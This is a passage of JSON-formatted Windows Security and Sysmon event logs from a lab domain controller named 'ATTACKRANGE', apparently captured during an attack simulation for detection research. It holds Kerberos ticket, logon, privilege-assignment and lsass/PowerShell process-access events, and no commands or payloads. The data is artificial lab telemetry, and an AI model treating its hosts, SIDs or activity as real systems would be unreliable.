Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221997,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221998,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221999,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x805E9\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{62235DC2-579D-7E69-19EA-92D0C5BA5459}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x805e9","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{62235DC2-579D-7E69-19EA-92D0C5BA5459}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222000,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x805E9\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x805e9","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5170,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5171,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5172,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001026040800}\r\nTargetProcessId: 4732\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001026040800}","TargetProcessId":"4732","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5173,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.931\r\nProcessGuid: {90617006-416D-5F2D-0000-001026040800}\r\nProcessId: 4732\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_5n2n5nxs.s0f.ps1\r\nCreationUtcTime: 2020-08-07 11:56:29.931","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.931","ProcessGuid":"{90617006-416D-5F2D-0000-001026040800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_5n2n5nxs.s0f.ps1","CreationUtcTime":"2020-08-07 11:56:29.931","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5174,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.962\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001026040800}\r\nTargetProcessId: 4732\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.962","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001026040800}","TargetProcessId":"4732","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5175,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.962\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001026040800}\r\nTargetProcessId: 4732\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: 